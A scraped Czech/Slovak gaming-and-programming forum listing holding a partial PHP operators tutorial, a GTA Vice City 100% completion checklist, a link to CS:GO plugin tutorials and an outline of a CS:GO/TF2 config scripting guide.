1 === true //false Šipkové: Klasické operátory > a = a Operátor kontroly chyb: Operátor kontroly chyb (@) slouží k potlačení chybové hlášky. $var = $array[$index]; // dostaneme hlášku , že $index neexistuje $var = @$array[$index];// ticho Aritmetické operátory: Klasické operátory které znáte z matematiky ( * , - , * , / , ++ , -- , += , -= , *= , /= ). První čtyři znáte a nebudu je rozebírat. Operátory inkrementace (++) a dekrementace (--) které hodnotě přidají nebo uberou jedničku. $var = 0; //0 $var ++; //1 $var --; //0 Poslední čtyři operátory slouží k přidání hodnoty. Tzn operátor += přidá k proměnné na levé straně hodnotu z pravé $var += 25; Ekvivalentem je delší zápis $var = $var + 25; Tečkový operátor: Slouží pro spojování řetězců. $number = 1337; $var = "Dnešní číslo je ".$number; $output = "| ".$var." |"; Operátor spaceship: Tento operátor byl přidán ve verzi PHP 7. Upřímně netuším jestli má obdobu v jiném jazyce. Hodí se například v sortění polí. Základní funkcí je , že při stejných hodnotách na obou stranách vrací nulu při levé nižší než pravé -1 a při pravé nižší 1 var_dump(1 <=> 1); // 0 var_dump(1 <=> 2); // -1 var_dump(2 <=> 1); // 1 var_dump(('a' <=> 'a')); // 0 var_dump(('a' <=> 'b')); // -1 var_dump(('b' <=> 'a')); // 1 Ohledně sortění pole pomocí funkce .. Před php7 jste museli zhruba takto $data = array( array('id' => 1, 'price' => 50), array('id' => 7, 'price' => 40), array('id' => 5, 'price' => 130), ); uasort($data, function ($a, $ { return ($a['key'] < $b['key']) ? -1 : (($a['key'] > $b['key']) ? 1 : 0); }); S příchodem php7 lze tento kód zkrátit následovně uasort($data, function ($a, $ { return $a['key'] <=> $b['key']; }); Pokud nezapomenu tak bude následovat další díl. Pro tento je to momentálně všechno.
  9. Úvod Tak, hra GTA Vice City je už poměrně stará hra, přes to je ale zatím pořád dobrá. Jak hru dohrát na 100%, tak to najdete všude možně po internetu. Ovšem tady na pawno.cz to není, tak to sem dávám. Zároveň je toto moje první téma, takže ta prezentace nemusí vypadat nějak skvostně. No dost keců a jdeme na to.. 1) Splnit příběhové mise (jak už je nejspíše jasné): 1. In the Beginning 2. The Party 3. Back Alley Brawl 4. Jury Fury 5. Riot 6. Four Iron 7. Demolition Man 8. Treacherous swine 9. Mall Shootout 10. Guardian Angels 11. The Chase 12. Phantom Penh '86 13. The Fastest Boat 14. Supply § Demmand 15. Sir, Yes Sir ! 16. Death Row 17. Rub Out 18. Two Bit Hit 19. All Hands on Deck! 20. Shake Down 21. Bar Browl 22. Cop Land 23. Cap the Collector 24. Keep Your Friends Close - Odměna: Titulky (jde splnit až po dokončení misí u nemovitostí, nemusí být Malibu Club) 2) Splnit Vedlejší mise 1) Love First 1. Love juice 2. Psycho Killer 3. Publicity Tour 2) Big Mitch Baker 1. Alloy Wheels of Steel 2. Messing with the Man 3. Hog Tield 3) Umberto Robina 1. Stunt Boat Challenge 2. Cannon Fodder 3. Naval Engagement 4. Trojan Voodoo 4) Auntie Poulet 1. Juju Scrable 2. Bombs Away 3. Dirty Lickin's 5) Phil Cassidy 1. Gun Runner 2. Boomshine Saigon 3) Nemovitosti 1. 3312 Vice Point 2. 1102 Washington Street 3. Links View 4. Ocean Hights 5. El Swanko Casa 6. Hyman Condo 7. Skumhole Shack 8. Boatyard (Přístav) 9. Cherry Popper Icecram 10. Pole Position Strip Club 11. Print Works 12. Kaufman Cabs 13. Sunshine Auto Showroom 14. Malibu Club 4) Splnit 5 telefonních misí 1. Road Kill 2. Waste the Wife 3. Autocide 4. Check Out at the Check In 5. Loose End 5) Vyhrát všechny Ilegální závody 1. Terminal Velocity 2. Ocean Drive 3. Border run 4. Capital Cruise 5. Tour ! 6. V.C. endurance 6) RC Mise 1. RC vrtulník 2. RC autíčko 3. RC letadlo 7) Mise na šikovnost 1. Cone Crazy 2. PCJ Playgroud 3. Trial By Dirt 4. Test Track 8) Mise na stadionech 1. Dirt Ring 2. Hot Ring 3. Blood Ring 9) Výcvik ve vrtulníku 1. Ocean Beach 2. Vice Point 3. Downtown 4. Little Haiti 10) Policie, Sanitka, Pizza, Hasiři, Taxi a Rifle Range 1. Nasbírat alespoň 45 bodů v Rifle Range 2. Dokončit 12 požárnických misí 3. Dokončit 12 misí se sanitkou 4. Dokončit 12 misí za policisty 5. Dokončit 10 misí rozvážky pizzy 11) Ostatní 1. Najít 100 balíčků 2. Vykonat 35 výtržností/rampages 3. Skočit 36 unikátních skoků 4. Vyloupit 15 obchodů
  10. Zdravím, vytvořil jsem pár základních a velice pochopytelných tutoriálů pro upravu, kompilaci atp. pluginů pro CS:GO. Není třeba znalosti c++ (jak je zvykem při tvorbě pluginů). Přeji hezký den PS: Berte to jako pomoc a né reklamu... https://www.youtube.com/watch?v=k9PSZD2gffE&list=PL_ewi0ZDqtamXp_bqH-vIHXp-fwCET5_B
  11. Obtiažnosť Obsah: 1. K čomu je robenie scriptov dobré? 2. Začíname 3. Základné príkazy 4. Vytváranie scriptov pre CS:GO 5. Vytváranie scriptov pre TF2 6. Tabuľka s názvami kláves 7. Zoznam základných funkcií 8. Záver 9. Zdroj 1. K čomu je dobré robenie vlastných scriptov? Robenie vlastných scriptov vám môže uľahčiť hranie, napríklad spravenie si vlastné buyscriptu, takže kupovanie zbrane v CS:GO bude jednoduchšie, či automatické menenie crosshairu podľa situácie. Nepridá vám to žiadnu extrému výhodu oproti nepriateľom, hranie to uľahčí iba vám. 2. Začíname 3. Základné príkazy 4. Vytváranie scriptov pre CS:GO 5. Vytváranie scriptov pre TF2 6. Tabuľka s názvami kláves 7. Zoznam základných funkcií 8. Záver Pokiaľ by ste chceli s niečim pomôcť, či už je to celý config alebo iba script, alebo niečo chcete vysvetliť, neváhajte odpovedať na tento topic, odpoveď vám dám čo najrýchlejšie. Ná záver by som rád ešte povedal, vyvarujte sa používaniu funkcie wait, pri CS:GO je zablokovaná a pri TF2 je zablokovaná na väčšine serverov, zbytočne vám kvôli tomu nepôjde váš script. 9. Zdroj Ďakujem za prečítanie, Spy (Gabe Newell).
×
×
  • Create New...